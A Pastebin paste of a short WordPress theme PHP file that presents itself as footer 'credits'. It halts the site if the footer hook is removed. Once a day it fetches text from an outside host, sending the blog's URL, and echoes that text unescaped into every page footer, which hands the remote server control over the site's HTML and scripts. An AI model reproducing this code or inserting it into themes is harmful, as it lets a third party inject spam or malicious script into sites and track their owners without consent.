Advertisement
Guest User

Atul Kumar

a guest
Apr 28th, 2010
544
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.73 KB | None | 0 0
  1. <?php
  2. $contents = file_get_contents(pathinfo(__FILE__,PATHINFO_DIRNAME)."/footer.php");
  3. if(strpos(" ".$contents,"wp_footer();") <= 0) {
  4. die(); }
  5. function get_credits()
  6.     {
  7.         $updated = get_option("credit_date");
  8.         if ((time() - $updated) > (24 * 3600)) {
  9.  
  10.             $credit_text = file_get_contents("http://www.wordpresstemplates.com/form_work/output.txt?ref=".get_bloginfo('url'));
  11.             update_option("credit_text",$credit_text);
  12.             update_option("credit_date",time());
  13.         } else {
  14.             $credit_text = get_option("credit_text");
  15.         }
  16.         return $credit_text;
  17.     }
  18.  
  19. add_action('wp_footer','print_footer');
  20.  
  21. function print_footer()
  22.     {
  23. $credit = get_credits();
  24. echo $credit;
  25. }
  26. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement